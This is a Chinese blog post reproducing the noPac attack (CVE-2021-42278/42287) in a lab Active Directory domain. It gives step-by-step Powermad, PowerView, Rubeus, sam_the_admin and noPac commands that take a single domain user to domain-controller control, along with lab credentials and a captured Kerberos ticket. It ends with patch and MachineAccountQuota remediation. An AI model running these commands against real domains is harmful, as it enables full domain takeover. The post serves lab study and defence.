前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)

只需要一个域用户即可拿到 DC 权限(CVE-2021-42287 and CVE-2021-42278)

作者头像
C4rpeDime
发布2022-04-26 21:43:42
1K0
发布2022-04-26 21:43:42
举报
文章被收录于专栏:黑白安全黑白安全

前言最近出了两个漏洞:CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,D

前言

最近出了两个漏洞:

  • CVE-2021-42278,机器账户的名字一般来说应该以$结尾,但AD没有对域内机器账户名做验证。
  • CVE-2021-42287,与上述漏洞配合使用,创建与DC机器账户名字相同的机器账户(不以$结尾),账户请求一个TGT后,更名账户,然后通过S4U2self申请TGS Ticket,接着DC在TGS_REP阶段,这个账户不存在的时候,DC会使用自己的密钥加密TGS Ticket,提供一个属于该账户的PAC,然后我们就得到了一个高权限ST。

说白了就是:如果获得了 DC 用户的 TGT 票据且域内有一台名为 DC 域控,再将 DC 用户删除,此时使用该 TGT 去请求 s4u2self,如果域控制器帐户 DC 存在,那么 DC 就能获得域控制器帐户(机器用户DC

假如域内有一台域控名为 DC(域控对应的机器用户为 DC),此时攻击者利用漏洞 CVE-2021-42287 创建一个机器用户 saulGoodman,再把机器用户 saulGoodman 的 sAMAccountName 改成 DC。然后利用 DC 去申请一个TGT票据。再把 DC 的sAMAccountName 改为 saulGoodman。这个时候 KDC 就会判断域内没有 DC 和这个用户,自动去搜索 DC(DC是域内已经的域控DC 的 sAMAccountName),攻击者利用刚刚申请的 TGT 进行 S4U2self,模拟域内的域管去请求域控 DC 的 ST 票据,最终获得域控制器DC的权限。

漏洞环境

在这里我使用的是渗透攻击红队的内网域渗透靶场:redteam.red 域

IP

机器名

用户名:密码

10.10.10.8(DC)

owa

redteam/Administrator:Admin12345

10.10.10.7

Work-7

redteam/saul:Red12345

CVE-2021-42287/CVE-2021-42278 Attack

Python 利用脚本:https://Github.com/WazeHell/sam-the-admin

前置条件:需要一个域用户

利用过程:

代码语言:javascript
复制
python3 sam_the_admin.py "redteam/saul:Red12345" -dc-ip 10.10.10.8 -shell
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第1张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第1张

漏洞利用十分简单粗暴,只需要一个域用户账户即可拿到 DC 的控制权限。

CVE-2021-42287/CVE-2021-42278 深入分析

具体利用流程是这样的:

  1. 首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除
  2. 清除机器账户的servicePrincipalName属性
  3. 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$
  4. 为机器账户请求TGT
  5. 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可
  6. 通过S4U2self协议向DC请求ST
  7. 进行 DCsync Attack

那么我们一步步来再次复现一遍:

1、首先 saul 用户是一个普通的域用户:

只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第2张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第2张

2、通过利用 powermad.ps1 新增机器帐号(域用户默认可以新建10个机器账户)

下载地址:https://github.com/Kevin-Robertson/Powermad

命令语法:

代码语言:javascript
复制
powershell
Set-ExecutionPolicy Bypass -Scope Process
Import-Module .\Powermad.ps1

# 运行完后需要输入一下密码:whoami(可任意密码)
New-MachineAccount -MachineAccount saulgoodman -Domain redteam.red -DomainController owa.redteam.red -Verbose

# 验证是否添加成功
net group "domain computers" /domain
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第3张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第3张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第4张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第4张

3、clear its SPNs(清除SPN信息)

代码语言:javascript
复制
# 导入一下 PowerView.ps1
Import-Module .\PowerView.ps1

Set-DomainObject "CN=saulgoodman,CN=Computers,DC=redteam,DC=red" -Clear 'serviceprincipalname' -Verbose
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第5张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第5张

4、reset the computer name(重设机器名称)

代码语言:javascript
复制
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "owa" -Attribute samaccountname -Verbose
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第6张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第6张

5、Request TGT (请求TGT)

代码语言:javascript
复制
./Rubeus.exe asktgt /user:owa /password:whoami /domian:redteam.red /dc:owa.redteam.red /nowrap
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第7张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第7张

6、Change Machine Account samaccountname(改回原来属性,或者其他的)

代码语言:javascript
复制
Set-MachineAccountAttribute -MachineAccount saulgoodman -Value "saulgoodman1" -Attribute samaccountname -Verbose
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第8张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第8张

7、Request S4U2self(获取票据)

代码语言:javascript
复制
./Rubeus.exe s4u /self /impersonateuser:"Administrator" /altservice:"ldap/owa.redteam.red" /dc:"owa.redteam.red" /ptt /ticket:doIEpjCCBKKgAwIBBaEDAgEWooIDwzCCA79hggO7MIIDt6ADAgEFoQ0bC1JFRFRFQU0uUkVEoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLnJlZKOCA30wggN5oAMCARehAwIBAqKCA2sEggNndmn7rhIzitxI2VghguavSAJRzkfZBeA2CzvontUXgh7tg5S9kwPXwy/BcbirLKK1gZ4TeGDgM9ILshg5MaWehy5PsQaxNUczNW+n5FqqaXaKqPD3hCibVaRcV8vasIuuD9hpgaxtG1DJKKopAJyJTbKIrijjxL2yEY07ZZdSEpsKdvFhVwmgHsSG7ZabLyaJ1T+DdZ+gwBme5oNqInvJdWCsc7/5Me/ImDtMuAAEGXfYPIZtIq4Z07QubAJJw1TAa+qpT7VqvCiwu1fh4kryx5z4yzI2GowaiJqgCKJ5f7j7uIM7WanM9YICI8NQsmD4O8c7GJDoureq4BgrNJtXTSN37m9r8MH6Pym9bDi2ZWCV+irr7AjI9ppOvDtFhxq83MmQTJCiuOKGY87qxrsufn3/c2EVK7L1aqpF3ajkZGBKLg3D8InOQe0UpCqAT0Ke+cbp6v/ZnSumLDeI2dAw7PABFDoTKIOWlGntngC5yuhZVf5rWkj0xHxhI+WqQbWdX34OlUF0LVOyJaS8h/LC552/veEM+zyks8UdOvFibpdJYbHYVTYXkuM4nBJ745XwoOjgyDyoTHF0WFwg6iQLXPLZsbAt6FFHPHSK3Pst0YrorYX6SkXdPM/Whu/FeEnoj3V9VZJzmME8uDk34A4Ga5nFDP2wUwDr8gwb4N8Xl1HjG2cSLlujDk6rT3jm6QWLhH8zZBAU3XrXTpPqsqJwXU7PV4WlAectCBgVoSRBxHq/rPSqgWQUi3wFGWheXlIK/ljwqlpwFVdz5TnoLSfEk8Qeml3itjdDhXYln4lpUE8r7K5H0u2D3rMUXs4gFhJCM9s3ErWGfqCMggAs0dg8+G6zcYy3w8OaiCnvRQiDgqrISN0ELWkFjf5X1HqD170p88zXo8ILUMBIYkRx5rNK5GrFwVQNqlWSORT8YNp5LAsQ8vZ+4N+hKOcyapIfRR/SOil6Ed8/UsPWZJjj7zHUDtBUoak3xK4mVqJp2894bdsgScd8uRsPSq4MkPi7YZ2CNEubLU2h8wGOPaecSbfAFDyrbRZnCWzIkKrjtw63qIY032THk0gqpZ3tHSIQHhGLnl34LuLG7nMqvIAlrWOf8brFUa4O85UC3roOMqU0fh8ko8rd332Nt3BHpRQvA2lcutqp/pAgV6OBzjCBy6ADAgEAooHDBIHAfYG9MIG6oIG3MIG0MIGxoBswGaADAgEXoRIEEPTgo0jbEFFl/FfX7+MXbZmhDRsLUkVEVEVBTS5SRUSiEDAOoAMCAQGhBzAFGwNvd2GjBwMFAEDgAAClERgPMjAyMTEyMTMxMDI3MTRaphEYDzIwMjExMjEzMjAyNzE0WqcRGA8yMDIxMTIyMDEwMjcxNFqoDRsLUkVEVEVBTS5SRUSpIDAeoAMCAQKhFzAVGwZrcmJ0Z3QbC3JlZHRlYW0ucmVk
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第9张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第9张

可能是我环境的问题,Rubeus.exe 获取票据的时候报错了。

noPac Tools Attack

后续使用:https://github.com/cube0x0/noPac (需安装 .net 4.0+)

1、扫描是否存在漏洞:

代码语言:javascript
复制
.\noPac.exe scan -domain redteam.red -user saul -pass 'Red12345'
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第10张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第10张

2、漏洞利用:

代码语言:javascript
复制
./noPac.exe -domain redteam.red -user saul -pass 'Red12345' /dc owa.redteam.red /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析  第11张
只需要一个域用户即可拿到 DC 权限(CVE 2021 42287 and CVE 2021 42278) 安全文摘 漏洞复现 CVE 2021 42278 CVE 2021 42287 漏洞分析 第11张

漏洞修复方式

  1. 官方已推出补丁:KB5008602、KB5008380
  2. 通过域控的 ADSI 编辑器工具将 AD 域的 MAQ 配置为 0,中断此漏洞的利用链。

文由:红队攻防实验室

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 漏洞修复方式
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档